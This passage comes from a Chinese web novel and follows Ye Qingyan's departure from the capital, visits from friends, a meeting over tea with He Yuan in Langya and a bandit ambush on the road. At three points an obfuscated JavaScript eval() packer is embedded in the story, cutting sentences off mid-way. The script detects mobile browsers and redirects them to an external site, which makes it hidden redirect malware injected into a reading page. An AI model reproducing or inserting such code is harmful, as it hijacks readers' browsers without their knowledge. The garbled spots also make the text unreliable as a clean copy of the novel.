“殿下。”叶青言知晓自己要说服的人一直都是二殿下,所以她没有再看沈昭,而是专注地看着林翊,说道,“每个人都有自己的路要走,如您,如我,如淮之,我要走仕途,便不能只是单纯地从书本上获得知识,欲知山中事,须问打柴人。其实,两位夫子也曾说过,以我现在的文章水准,参加春闱,足以上榜,可我所求的,并不止是上榜。” 最后这话,叶青言说得很肯定,干净的眼睛里没有任何犹疑。 微顿了顿,她又说道:“我父亲是为了边关安稳而战死的民族英雄,我作为他的儿子,不能同他一样保疆卫土已是遗憾,但我既然选择了进入官场,便不想做那等尸位素餐之人。是,以我现在的笔力,已足够应对科考,再加上父亲的威望,必能保证我金榜题名,可那只是一场考试,这样得到的成绩,对我往后的为官之路无任何助益,所以我想出去看看,去看看农桑,看看水利,看看民生,为将来的仕途打下基础。” “好!说得好!”沈昭猛地一拍桌子,大声道,“说得太好了!” 林翊想说的话一下就被沈昭给堵了回去,一时脸色十分难看。 沈昭还想再说些什么,可看到林翊的脸,立马就收了声,还搞怪地做出了您先请的姿势来。 叶青言见状,不觉笑了起来。 室内始终紧张的空气,在这一瞬间,忽然变轻了很多。 晚阳铺洒在身上,暖洋洋一片,林翊看着叶青言的笑眼,想着她刚刚说的那些话,先前那怒气冲冲的情绪,莫名就消散了大半。 “你真的决定了?”林翊问。 叶青言点头,眸光清亮:“是的殿下,我已经决定了。” 抉择之际,往往最能看清楚一个人的内心是否坚定。 林翊看到了叶青言的坚定,深知自己的劝阻已无意义,可他还是说不出让她安心游学的话来,那是将近半年时间的分离,从他们认识至今,都没有分开超过十日。 林翊静静看着叶青言,久久没有开口说话。 “殿下。”反倒是叶青言突然开口唤了他一声。 林翊眨了眨眼。 叶青言也眨了眨眼,她说:“朝堂之上,您需要有人帮忙。” 林翊一愣,下意识问道:“谁能帮我?” 叶青言微笑:“我,当然,不是现在的这个我。” 林翊看着她的眼睛,沉默了好长一会儿,叹息一声,道:“好,我等你回来帮我。”这是妥协的意思。 很简单的对话,很令人温暖的信任,因为他们将彼此视为知己,即便他们身份悬殊。 对话时常发生,结束也往往不需要什么预告,林翊不希望叶青言离开京城,却也只能止步于不希望,眼下他已不用前往学宫学习,叶青言作为他伴读的使命已经完成,他无法再左右她的行程,所以他也只能妥协。 见两人终于达成一致,沈昭安下心来,他对林翊道:“表哥你也不用太担心阿言,听听她刚刚说的那些,简直激情勃发,清新明朗,不落俗套,不走寻常路啊!多好的政治觉悟!” “好什么好。”林翊瞟了沈昭一眼,“这么好不如换你出去历练。” 沈昭笑嘻嘻道:“我又不走仕途。” “出息。”林翊轻斥一声。 沈昭听了也不恼怒,依旧笑嘻嘻道:“反正我现在就是这么想的,以后的事情以后再说,表哥你就是管的太多了,阿言还年轻呢,就该年轻地活着,想做什么做什么,有精力就要用,有力气就要使,有想法就要去实践,年轻就该轻狂,何必考虑那么多!即便阿言真赶不上这次的春闱又如何?赶不上就赶不上呗,下次再考不就好了,哪能为了不确定的变故而放弃自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说来阿言你为什么要选在明天出发?时间也太赶了。”沈昭抱怨道,“你这样匆忙,让我们怎么来得及准备送别礼?” “咱们之间,就无需讲这些虚礼了。”叶青言道。 林翊闻言,嗤笑了声:“我可没有什么送别礼要准备。” 叶青言侧目看他,良久,叹息道:“殿下,您刚刚已经同意了。” 林翊冷笑:“怎么?同意了就不能再有情绪了?” “当然可以有。”叶青言道,顿了顿,她又说道,“其实……我就是为了给殿下您庆贺生辰才选在的明天出发,若否我此时应该已经在南游的路上了。” 林翊乍听这话还有些得意,阿言为他改了行程,随即又有些恼火:“怎么的?还要我感谢你为我考虑不成?” “那倒不用。”叶青言眨了眨眼,眼神无辜,“只要您能不生气,我就心满意足了。” 林翊把这句话在心里重新建构了一遍,更加生气了,说道:“原来你是嫌我胡搅蛮缠啊。” 叶青言:“……”行吧,她就不该说话。 林翊当然不会真的生气,就只是在闹脾气。 “你沉默是什么意思?默认了,好啊叶思砚,这才不做伴读几天,竟就同我生分了?” 叶青言:“我没有。” “你有。” “我没有。” “你就有!” “好,我有。” “你果然有。” 叶青言:“……” 时间悄然流逝,落日将要完全没入地底,四周有些暗,却不令人悲伤,反而很像清晨,就像沈昭方才说的那一番话般,充满了生命的鲜活气息。 44. 顾逍来访 这日晚间,等叶青言结束聚会回到成国公府,天已暗下。 叶青言才走下马车,就听门房来报,说有位名叫顾逍的举人前来拜访,且已等了她有一个来时辰。 叶青言闻言一怔,问:“对方可有说何事?” 那门房摇了摇头。 叶青言摆手让人退下,自己则快步往府里走去。 一个来时辰……这么长的时间竟也等了下来,殊泽兄莫不是有什么要事? 这么想着,叶青言脚下迈出的步伐不由更快了一些。 鹿鸣宴后,他们这些新晋的举子都需前往国子监进修,规矩与在府学时无异。 因着鹿鸣宴那夜的醉酒畅聊,叶青言和顾逍的关系融洽了很多,两人地接触也越来越频繁起来。 在与顾逍的接触中,叶青言陆陆续续得知了一些他家里的情况。 顾逍是家中长子,祖祖辈辈都是农户,但经过祖辈几代的努力,他家中累积有十余亩田地,母亲还是个手艺人,农闲的时候就在家里做些豆腐制品到城里叫卖,家中也因此积攒了不少一笔银钱。 在这个万般皆下品,唯有读书高的年代,手有盈余的顾父顾母便将家中长子送到城里的书院读书。 顾逍也十分争气,十三岁就考中了童生,并在师长的建议下,准备在十五岁的时候下场参加童试。 谁料天降人祸,在顾逍十五岁那年,顾父顾母在一次外出归家的路上遭遇歹人,二人双双丧命,此后,一家的担子便都落到了顾逍的肩上。 此时顾家家中,上有年迈的老祖母,下又有年幼的弟妹,旁边还有对他家田地虎视眈眈的堂叔堂伯们。 不仅如此,因着父母去世,顾逍必须丁忧三年,这打乱了他原本要参加童试的计划。 顾逍无法,只能先休学回家。 他此前一直都在城里上学,根本不擅长农活,弟弟妹妹又都年幼,家中虽有田地,因他管理不善,每年交完赋税和徭役银子后,所剩也不多了,这些银子根本无法支持他再进学堂,他便只能先辍学务农。 好在书院的夫子十分看中他,经常给他送去笔墨书籍,不管他何时来到学堂,都会认真地教他学问。 那几年顾逍过得十分辛苦,这种情况直到他度过丁忧,考中秀才,才有所好转。 叶青言一直都知道农家子弟生活不易,未料顾逍竟还有如此凄凉的身世。 处在那样艰难的境地,却还能守住本心,刻苦学习,实在叫人敬佩。 顾逍已经在偏厅坐了有一个多时辰,除了最开始时同侯夫人说过几句话,中途便再没人打扰过他。 管家原想留下招待,却被顾逍好言拒绝,管家本也忙碌,见人不似作伪,便自去忙了。 在偏厅里枯坐了一个来时辰,顾逍难免觉得无聊,但他自幼就习惯了冷清,所以也不觉得难熬。 他垂着眼,在心里默默背着《九章算术》勾股篇的内容来打发时间。 桌案上的茶水他没怎么喝,只在同侯夫人交谈时微沾了沾嘴唇,如此倒不是因为他谨慎或者戒备,而是他觉得在别人家中做客,万一茶水喝多了想如厕,未免有些不礼貌,所以才一直没有去喝。 叶青言一踏进偏厅,就看到了顾逍。 顾逍今日穿了一身苍青色的细布直裰,针脚细细密密,黑色的头发紧紧地束着,整个人看着十分精神,气色也是极好。 见人模样,叶青言心下一松。 “殊泽兄。”叶青言抬手作揖,“让你久候了,实在抱歉。” 顾逍起身认真地回了一礼,道:“贤弟言重了,分明是我来的不巧。” 大户人家过府拜访一般都会事先递上拜帖,但顾逍出身农门,家中并无奴仆使唤,只能亲自为之。 两人又寒暄了几句,叶青言欲留顾逍用晚膳,却被他摇头拒绝。 顾逍将手里一直拿着的喜帖递与叶青言,笑着说道:“我快成亲了,今日是特地过来送喜帖的,婚期就定在下月初八,今日你不在家中,我本该留下帖子先回,却意外听到贤弟你不日就要外出游学的事儿,便留下等候了。” “原是如此。”叶青言了然,她高兴地接过喜帖,笑道,“恭喜殊泽兄了。” 顾逍:“农家婚礼简单,本还想邀请贤弟你前往观礼,如今看来是无缘了。” “确实不巧,但你怎么会选在这个时候成婚?”叶青言抬手示意人落座。 顾逍顺势坐下,解释道:“我未来娘子是邻居家的女儿,我自幼便同她认识,也早就认定了对方,只是家中贫困,本不想耽误了她,可她心意甚坚,无论我如何疾言厉色,始终不离不弃,她一直陪着我读书考试,若非有她,也没有我今日的成就。我原打算等过些年有了实际的成就再娶她进门,毕竟眼下家中只有草屋几间,她嫁过来难免吃苦,只是秋闱之后,总有媒婆上门说媒,任我怎么推拒也不成,她瞧见过几次,总是心情不佳,我便不想再等了,免得让她忧心。” 顿了顿,顾逍叹息了声:“也不知这样做对不对,她虽也出身农家,但自幼受宠,如今却要嫁来我家操劳。” 听了顾逍的解释,叶青言心中感慨非常,说道:“未来嫂子看上的是殊泽兄你这个人,想来不会在乎一时的辛劳,你们夫妻和睦,同甘共苦也不失为一桩美谈。” “那就承贤弟你吉言了。”听叶青言这样说,顾逍心下稍安,“我定不负她。” 叶青言看着顾逍的眼睛,清澈明静,没有丝毫作伪,不由微微动容:“守住本心,不被富贵迷眼,殊泽兄的情操,实令人敬佩。” 叶青言这话说得毫不夸张,没势力没背景的农家举子,其实最受小官和富户们的喜欢,所以只要顾逍愿意,他随时都能有更好的选择,但他依旧选择了自己的青梅,还为自己的选择生出那样的忧虑,由此可见,他是个重情重义的人。 叶青言说话的时候,将顾逍面前杯子里的冷茶倒了,又重新给他添了杯温茶推过去,茶壶里的茶水是搁在小炉上温着的,所以并没有变凉。 顾逍轻声言谢,拿起茶杯,浅浅品了一口,说道:“贤弟过誉了,我苦读圣贤十数载,又哪里能做那等抛弃故旧之事。” 这话说来容易,但在这个物欲横流,利益至上的人世间,真正做到如此的又有几人? 当然这话叶青言没有说,也不必说。 她看着顾逍,很是遗憾:“这次的婚宴我是赶不上参加了。”说着,她举起茶杯,“便在此以茶代酒提前祝殊泽兄你新婚快乐,待我游学归来在登门向你和嫂夫人贺喜。” 顾逍见状,忙也举起茶杯:“届时定扫榻以待。” 天色越渐昏暗,有小厮悄然入内,手脚麻利地点上烛灯,屋内霎时一片亮堂。 秋日的夜晚,微有些冷,呼啸的北风不时从屋外传进。 顾逍斟酌再三,还是问起了叶青言为何会有此时出去游学的打算。 “眼看就要入冬了,届时大雪封路,思砚你选在这时候外出,实非明智之举。” 叶青言闻言,只是笑笑,道:“我会往南走,南方温暖,倒是不必担心天气问题。” 虽已是秋末,可远远没到大雪封路的时候,按照往年的经验,京都第一场雪落下之时,她应已踏在金陵的土地之上。 顾逍本想劝她一二,可看她这样笃定,言笑晏晏的,半点也不为天气困扰,一时竟不知再说什么。 也是,官宦人家出门哪是他们农户可比的?定然要便捷很多,顾逍一时有些尴尬。 叶青言知晓对方是关心自己,她领这份情,遂笑着转移了话题道:“我就是想出去看看,江南多文士,于科举一道也颇有自己的见地,若能同他们交流辩论,取其长处补之,于来年春闱也有益处。” 顾逍有些迟疑,可细细一想,又觉得这样也没什么不好:“也许你是对的,多出去看看,总能学到更多的东西。躬体力行、精益求精,无怪贤弟你文章写得这样好,句句言之有物,兄远不如矣。” “殊泽兄过誉了,言不过承蒙祖荫,有此条件罢了,反倒是殊泽兄你,处在那样艰苦的境地之下,依然能秉持初心,刻苦读书,是我不如你。”叶青言这话说得极其认真。 顾逍听罢,沉默了很长时间,才笑着道:“我们这样相互夸奖,真的好吗?” “是有些不好。”叶青言也笑着道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108471|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“好在此间只有你我二人,并未被旁人听去。” “哈哈哈。”两人对视一眼,不约而同笑出了声。 大笑过后,顾逍有些伤感,言道:“贤弟此一去,务必保重身体。” “谢殊泽兄关怀。”叶青言拱手示意。 顾逍顺势站了起来,也拱了拱手:“今日天色不早,我便不多留了,咱们便等贤弟你游学归来再聚。” “好。”叶青言起身相送。 偏厅门口,远山捧着几本书籍等候,叶青言上前拿过书籍递给顾逍,说道:“这是历年会试前三甲所作的文章,里头还附带了考官们的批注,素来难求,我有幸收集全了,殊泽兄不妨拿去一阅,兴许能有所收获。” 顾逍闻言大喜:“贤弟慷慨,为兄谢过!” 言罢,他郑重作了一揖,随后从袖中取出帕子,仔细地擦过手后,才伸手去接书籍,可见他对这几本书的看重。 之后两天,叶青言都没有再出国公府。 当然她也没有闲着,出行的一应事宜都是她自己安排的,直到出发的前一天,她才空闲下来,舒舒服服地在房中看书睡觉,静待启程之日到来。 九月十三,叶青言拜别李氏南下。 今天是个阴天,城郊的地面积着落叶,沾着夜露有些微湿,脚踩在上面发出“沙沙沙”的响声。 “真不知你是怎么想的,好好的福不享,非得出去折腾。”沈昭一边抱怨,一边从长随手中拿过一只荷包递给叶青言,“你独身上路我就不给你东西增添你的负重了,这些银票你拿去,缺什么自己买。” 叶青言也不客气,直接接过揣怀里:“你之前不是还豪情万丈地让我想做什么就去做吗?” “那又怎样?”沈昭哼声,“支持你和质疑你又不冲突。” 叶青言想了想,点头:“有道理。” 沈昭得意:“我总是有道理的。” 叶青言听罢下意识朝城门方向看了一眼。 …… 时间很快来到辰时末尾,叶青言看了眼被乌云遮住的太阳,最后对沈昭道:“送君千里,终有一别,到这就好,你回吧。” 说罢,她又朝城门的方向望了望,那里始终没人再来,心头不觉有些空落,又想到那人此刻必然还在早朝,只怕难以出来,便也不再多想,上马准备走人。 就在这时,身后远远地传来一阵马蹄和一声呼喊:“阿言——” 叶青言愕然回头,就见林翊纵马而来,转眼马儿就停在了她的眼前。 “殿下,您怎么来了?早朝结束了吗?”叶青言没有注意到自己的笑容在看到林翊的瞬间就绽了开来,欣喜问道。 林翊下马,来到叶青言面前:“我说过要送你的,当然会来。” 叶青言一听便知他是中途离开的早朝,抿了抿唇,道:“您身份所系,乃天家威严,以后不可如此了。” 话虽如此,可叶青言的语气没有丝毫斥责劝诫之意,反倒带上了连她自己都未曾察觉的温柔。 温柔的声音传进耳中,林翊笑了一下,同样温声道:“我知道了,你此去一路小心,等你回来那日,我还在这里迎你。” 叶青言摇头:“我亦不知自己具体哪日归京,您可别等。” 林翊闻言只是笑笑。 两人又话了会儿家常,眼见天色不早,再不出发要来不及了。 叶青言看着林翊:“我走了,你们也回吧。” 林翊:“去吧,我看着你走。” 叶青言眨了眨眼,转身上马,她没再说话,只朝两人拱了拱手,千言万语都汇在了这一礼之间。须臾,她扬起马鞭,轻轻一踢马腹,头也不回,很快消失在飞起的落叶之中。 林翊凝目看着马儿远去,也没有说话。 沈昭看了看叶青言远去的背影,又看了看林翊,抬手推了推他,问:“表哥,你真放心让阿言一个人南下?” 林翊没有回答,只瞧着那逐渐模糊的背影,直到那身影消失,才转身往回。 沈昭见状,忙追了上去:“表哥你怎么不理人啊,你到底有没有派人跟着保护阿言啊?诶诶诶,别上马,你等等我!” 45. 偶遇贺渊 离开京城,叶青言一路南下,她并不着急赶路,沿途走走停停。 每到一个村镇她都会停留两日,时常走街串巷,体察民生。 如此过去半个多月,她才终于到达琅琊府。 自从叶青言踏入琅琊地界,天空就飘起了雨。 起先只是小雨,随微风飘洒,无声无息地滋润着土地。到了夜间,雨势蓦然变大,叶青言站在窗前,看着客栈外面那几棵在雨中摇曳的青竹,脑中蓦地想起学宫偏厅外的那一排翠竹,想起了二殿下,想起了自己同他雨天煮茶的那些事儿。 也不知殿下近来如何了。 刑部的差事多且杂,要做出成绩可不容易。 林翊初入朝堂,就被嘉和帝指派到了刑部历练,也没有给他安排什么特定的职位,用嘉和帝的话讲,就是让皇子们过去学习经验的。 大皇子林竫初入朝堂那时,也是同样的待遇,他是被分到了户部。? 户部掌管朝廷的财政、经济等事务,历来都是油水最多的部门,也是官员们趋之若鹜的好去处之一。 朝廷六部理论上是平级部门,可在官员们内部,却有着清晰的等级划分。其中以吏部、户部和礼部为最佳去处,它们被认为是上三部,地位较高,剩下的兵部、刑部和工部则被称为下三部。 嘉和帝上位后,大力整顿军队,使得兵部的权利提升,隐隐有脱离下三部的趋势。 但刑部和工部的地位并未有任何变化。 二皇子的十六岁生辰宴,陛下给办的隆重又体面,过后还给赏了好些珍品,一应待遇堪比储君。 很多看好嫡子继位的官员们甚觉欣慰,中立派们也纷纷安下心来,只要储君人选定下,就不会有人在暗中找他们说项,他们也无需再想法子躲避。 可就在众人以为陛下终于要做下决定之时,他又将二皇子安排到了刑部历练。 大皇子在户部,二皇子却去了刑部…… 陛下此举究竟何意?他到底属意谁为太子? 朝臣们看不懂了,一时间,催立太子的奏折如雪花一般,一张张飘向嘉和帝的御案。 嘉和帝皆如往常那样无视。 有人忧愁,自然也会有人欢喜。 大皇子一派的官员在听到嘉和帝的这个安排后,都大松了口气,看来陛下是知道他们在南方做的那些手脚了,此番这般大肆庆祝二皇子生辰无疑是在敲打他们。 只要陛下没有要立二皇子为太子的打算就好。 高旭决不允许帝位落到除林竫以外的其他皇子身上,这是他有生之年唯一的执念,若真有那样一天,他不介意采取极端,但只要还有机会,他就不会走那一条路,那样对竫儿的名声不好。 他要他的竫儿堂堂正正,没有任何污点的登上皇位。 林翊到刑部历练的事情定下后,林竫亲自去见了高旭,没人知道他们谈了什么,只知那次之后,高旭便没在插手南方科举舞弊一案。 都尉司雷厉风行,将所有涉及乡试舞弊案的官员、豪绅尽数拔出,该砍头的砍头,该抄家的抄家,该流放的流放,南方官场经过这一番整顿,很多职位都空缺了出来,朝廷的任命也来的很快,那些通过了殿试却一直挂着闲职等缺的进士老爷们一个个收拾行囊,走马上任。 南边官场动乱不止,朝廷亦是指令不断,这样的情况本极易生出事端,可这一次的调任却进行的格外顺利。 随着时间推移,朝中那些因南方乡试事件而起的波澜,又渐渐落了下去,无一丝涟漪。 不过这些都是后话,此时的叶青言只是单纯地在思考林翊能否适应刑部那些繁杂的事务。 当然,她也没有思考太久,她只想了一会儿便关上了窗户,打开房门唤小二送来温水洗漱。 洗漱之后,她便上床休息了,赶了一天的路,她也有些累了。 第二日,依旧是雨天。 雨势不大,但也不小,雨水像是从天上灌下来的一般,叶青言无法,只能停下了南下的脚步。 秋雨沥沥,没有带来太多的寒意,反而让琅琊古城的黑色屋檐和街上的青石路面,都蒙上一层迷蒙的水泽。 叶青言撑着雨伞,缓步走在被雨水打湿的青石街道上,街上行人不多,很多店面都没有开门,但叶青言并不在意,她施施而行,静静感受着微风送细雨的朦胧,这样的景象在京城很难一见,京城的雨向来干脆,瞬间就能将大地洗刷干净,而不是这般沾衣欲湿,朦朦胧胧。 叶青言缓步走着,鼻端突然传来一阵隐隐淡淡的茶香。她顺着香味飘来的方向看去,一张略显熟悉的面庞霎时映入眼帘。 他怎么会在这?叶青言诧异。 雨声淅沥,轻轻落在茶馆外的蓬布上,似是察觉到叶青言的目光,那人抬头看了过来,亦是一怔,但他很快回神,起身笑道:“叶公子,好巧。” 叶青言也笑了笑,道:“他乡遇故知,确实很巧。” 那人挥手一指旁边的座位,说不出的磊落洒脱:“相请不如偶遇,叶公子何妨坐下一叙?” “贺公子相请,言却之不恭。” 此人正是贺渊,来自福建长乐的贺渊,名满大庆的嘉言公子。 叶青言走进茶馆,雨伞被她收起,搁靠在了门边。 贺渊给叶青言倒了杯茶推过去,道:“碧螺春,当地茶农今年才采摘的新茶,滋味不错,你尝尝看。”对方声线清越,带着南方特有的咬字韵味,在窸窣雨声中听来,显得很是缠绵悱恻。 叶青言端起茶杯,轻轻饮了口,有些吃惊:“茶香浓郁,回味醇厚,是壶好茶。” 贺渊眼带笑意,上下打量了叶青言一番,他的眼中尽是欣赏之色,因而并不叫人觉得冒犯。 他施施然给自己也倒了杯茶,说道:“当日京郊一别,还以为再见得到春闱之后,不想今日竟会在此相遇。” “我也没有想到。”叶青言笑说,微顿了顿,她问道,“贺公子怎会出现在此?” 贺渊抬手示意了手中茶杯:“我便是为了这一口茶,特意从京城赶至此处的。” 叶青言愣住了,千里迢迢从京都到琅琊,就只为了喝一口茶? 贺渊看出她心中所想,笑问:“很奇怪吗?” 叶青言老实地点了点头。 贺渊见状,又笑了起来:“我如今还只是白身,无责任所系,自然要随心所欲一些,等我将来入了官场,可就没有这样的自由了。” 夹杂着细雨的轻风拂面,吹扬了贺渊的衣袂与发丝,他分明只是闲适地坐着,身上却无端地现出一股别样的雍容大度来。 “贺公子果真决定要参加来年的春闱?”叶青言看着贺渊,突然问道。 贺渊挑了挑眉:“叶公子为何会有这样的疑问?” 叶青言:“朝廷律法森严,为官后必有诸多掣肘,嘉言公子能为了一杯茶不远千里,如此洒脱随性,实不像喜受约束之人。” “要得到,总要有所舍弃,哪能所有的好处都被我一个人占了。大丈夫生于世,不过成家、立业、治国、平天下而已,碌碌一世,虽是畅快,却也辜负了项上这颗大好头颅,我不愿如此。” 贺渊这话说得十分随意。 叶青言听了,却是肃然起敬:“公子所言,发人深省。” 贺渊看了她一眼,问道:“叶公子又是为何出现在此?” 叶青言闻言,没有马上回答,而是转头看向了茶馆外边。 屋外依旧下着雨,淅沥的雨丝持续不断地从云层中撒下,秋雨凄迷,秋意浓郁。雨幕的远处是群山,秋意所带来的黄红浓艳之色,早被秋雨洗得极淡。 “我是游学中途经过此地,却被这一场秋雨留在了琅琊城里。” “原来如此。”贺渊了然,“琅琊是个好地方,公子不妨多留几日,也好四处看看。” 说罢,贺渊还给叶青言介绍了几个琅琊城里的好去处,还都不是当地人常挂嘴边的那几个。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112020|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……尤其是距离微山湖不远的天波湖,那儿湖水不深,游人也少,不少南迁的水鸟都会在那儿歇脚,可谓水光连天,水鸟翩跹,若是晴天日落时前往,便可得见“落霞与孤鹜齐飞,山水共长天一色”之景,极其壮丽,我也是偶然发现的该地。” 叶青言很认真地听着,心想这位嘉言公子在外游历数年,果真博览天下景观,知之甚多。 “待雨停之后,我定去公子所说的这几个地方看看。” “你不会失望的。”贺渊举杯道。 叶青言笑了笑,也举起了茶杯,递到唇边。 贺渊朝她看了一眼,注意到与普通男性相比,眼前人的唇似乎要柔和很多,色泽也更为鲜艳,仿佛两片娇艳的花瓣。 贺渊一时有些愣神。 叶青言这时刚好抬起头喝茶,所以并没有注意到贺渊地打量。 一直盯着一个人的嘴唇看,哪怕这个人与自己同是男子,也依然是件很不礼貌的事情,贺渊很快醒过神来,赶紧移开眼光,掩饰性地也喝了口茶。 秋雨如丝,细腻地润湿着大地。 叶青言两人都没有再开口说话,他们就这样安静地观雨喝茶。 起先无话的时候,叶青言还觉得有些尴尬,也有些紧张。 可随着时间的流逝,她渐渐适应了这种气氛,心境逐渐安宁,甚至开始沉醉。 贺渊也是同样。 面对一个不算熟悉的故人,他很不习惯这种对坐无言的场景,可听着屋外淅淅沥沥的雨声,他渐渐想起,自己今日之所以来此饮茶,就是为了寻找清净。 今日的他,想要的是安静。 于是他放松下来,不再去想什么,只偶尔替对方和自己倒茶,然后饮茶,沉默不语。 时间悄然而去,待到壶中茶尽,他们起身,相互道别,而后各自执伞离开。 他们都默契地没有留下自己的住所,只这样,偶然相逢,言话二三,然后分开,有缘自会再见。 这场雨整整下了四日。 秋雨时落时歇,不似春雨那般缠绵,反而阴冷的有些烦人,途经的商旅被困了不少,城中客栈人满为患。 等到第五日,雨终于停了,商旅们陆续出城,叶青言却没有急着离开,而是一一去游览了贺渊当日所说的那些地方。 确实都是极美的景观,尤其是天波湖,壮阔非常,不仅开阔视野,亦能开阔心境。 那场秋雨之后,天气冷了很多,且一日冷过一日,等叶青言背上行囊离开琅琊城时,已经是十月中旬,时已入冬,拂面而来的风里渐渐渗透起了冰雪的寒意。 出城的路上,叶青言结识了一户前往彭城探亲的人家。 这应是一家富户,随身携带的行李不少,随行人员里,不仅有两名伺候的丫鬟,还有六名身材健硕的家丁。 因着同路,再加上叶青言行动利落,马鞍上还系着一把长剑,一看就是个练家子,对方便诚恳地邀她结伴而行。 从琅琊到彭城只有一条官道,左右也得一起上路,叶青言便应承了下来。 经过交谈,叶青言大致了解了对方的一些信息。 比如主人家姓唐,是家中长子,做的香料生意,此番是携家妇与弟妹前往彭城的舅舅家中贺寿的。 因着对方的队伍里有两名女眷,所以即便同路,叶青言也很有分寸地没有太靠近对方的马车,但也没有离得太远,就这么不远不近地跟着。 一行人稳稳当当的走在去往彭城的路上。 从琅琊到彭城的路程不算太远,只需走上两个时辰,沿途也无高山峻岭,却有不少山丘。 彭城去年遭过蝗灾,流离失所的百姓不少,好在朝廷及时拨下了赈灾粮款,又减免了赋税,因此沿途也没有什么落草为寇的山匪,倒是不必忧心山匪劫路的问题。 反倒是天气,突然变得阴沉起来,风越发大了,马儿在寒风里艰难前行,唐大见状,干脆下令众人在山丘间的避风处歇息一会儿。 46. 借宿桃村 众人就地休整,该喝水的喝水,想喂马的喂马,有要如厕的也结伴去了远些的地方。 出于礼貌,唐大嫂带着唐小妹过来同叶青言见礼。 叶青言很有分寸地没去看唐小妹的脸,只略略同唐大嫂寒暄了两句,便以风大为由,请二人回去马车上休息。 对于叶青言的分寸,唐大嫂十分满意,微笑着屈了屈身,便准备回去马车。 可就在这时,两边的山坡上突然蹿出十数个提刀的人来。 唐小妹被这动静吓得失声尖叫。 许是她的叫声吸引了对面的视线,一道破风之声,径直袭来。 叶青言见状,也顾不得其他,当即上前,一把扣住唐小妹的手臂,用力一拉,将她往自己的方向一带。 一支粗制的箭矢擦着叶青言的手臂射到了唐小妹刚刚所站的地面之上。 唐小妹一脸惊魂未定地被叶青言半圈在臂弯里,身体瑟瑟发抖,她下意识伸出手,紧紧地抱住叶青言的腰。 感受到腰间的力道,叶青言一怔,想要推开对方,却在低头的刹那,与唐小妹惊慌失措的目光撞到一起,看着小姑娘惶恐不安的眼神,叶青言欲推开对方的手不由一顿。 叶青言心下叹息了声,正想出言安慰唐小妹,然没等她开口,四周就彻底乱了起来。 唐大嫂跌跌撞撞跑来,担忧道:“小妹你没事吧?” 叶青言顺势将人推开,转身抽出悬在马鞍上的佩剑,匆匆留下一句“你们留在此处别动”就加入了战局。 唐家这次出门贺寿,带的护卫不少,且各个都是好手,再加上身手不错的叶青言加入,那些匪贼很快就落了下风。 但他们显然不想放弃,毕竟他们人多,如此这般又纠缠了一刻多钟,领头的匪贼见还是拿不下叶青言等人,不仅拿不下,他们自己的人还伤了不少,他便也急了,当即吹响竹哨,一众匪贼听到哨响竟就此慌不择路地撤退而去。 唐家的几个护院见状,还想去追,却被叶青言拦住。 “小心有诈。” 护卫们被拦,纷纷看向唐大。 叶青言严肃道:“这伙贼人不知是打哪来的,咱们若追过去,很有可能会中对方的调虎离山之计,就算不是,也可能令这群受伤的匪贼破釜沉舟与咱们再战,他们毕竟人多……” 叶青言点到即止。 当然,后面的话也无需她再赘述,唐大只稍微一想,便明白了过来,当即下令众人不许去追。 他们此行的目的是贺寿,安全到达彭城才是紧要。 打定了主意,唐大立时让人调整车马队伍,又问了受伤之人的情况。 这伙匪贼武艺不精,所以只有小部分护卫因为最初的偷袭受了些轻伤,其余人都没什么大碍。 唐家二少也受了点皮肉小伤,但因着打跑了匪贼,他此时还在兴头上,望着那群人逃跑的方向,神采飞扬道:“这群贼人还真是奇怪,明明都是壮汉,却这么不经打,看着气势汹汹的,居然这么轻易就被咱们给打跑了。” 唐大也甚是不解,只道:“那群人看着确实不像什么正经土匪。” 叶青言望着贼匪离开的方向若有所思。 她刚刚就注意到了,那群人手里拿的,都不是什么正经武器,而是一些砍柴打猎的家伙事…… 现场很快重新恢复秩序。 交代好一切,唐大立即回到妻子和妹妹身边,轻声安抚受惊的两人。 唐大嫂应是向唐大说了叶青言救了唐小妹的事,因为他很快就领着唐小妹来到叶青言面前,连连称谢。 “唐兄客气了。”叶青言平静说道,她的视线不着痕迹地扫过两位女眷,郑重道,“此地不宜久留,咱们还是尽快出发吧。” 唐大显然也是这样想的,便也没有多跟叶青言客气,当即就送了两位女眷回去马车,自己则去安排出发事宜。 唐小妹上马车前,目含感激地朝叶青言看了一眼。 叶青言低头整理自己的行囊,只当自己没有看到。 众人很快就收拾好启程,想着赶紧去到彭城。 可惜天不遂人愿,越往前走,风势越大,寒风卷着地上的草木砂石,迎面而来,一行人走了半晌也没走出多远的路程,再看天色阴沉沉的,估摸着会有一场暴雨。 可此时已经走了半程,众人无法后退,唐二忍不住道:“大哥,在这样走下去不行,咱们不若就近寻个村庄暂时先歇歇脚?” 叶青言闻言皱了皱眉,却也不好阻止,因为确实不能再走了。 若只是有风,倒还可以撑着继续往前,可看这天色,明显是要下雨,要真冒着风雨赶路,感染了风寒,可是会要命的事儿。 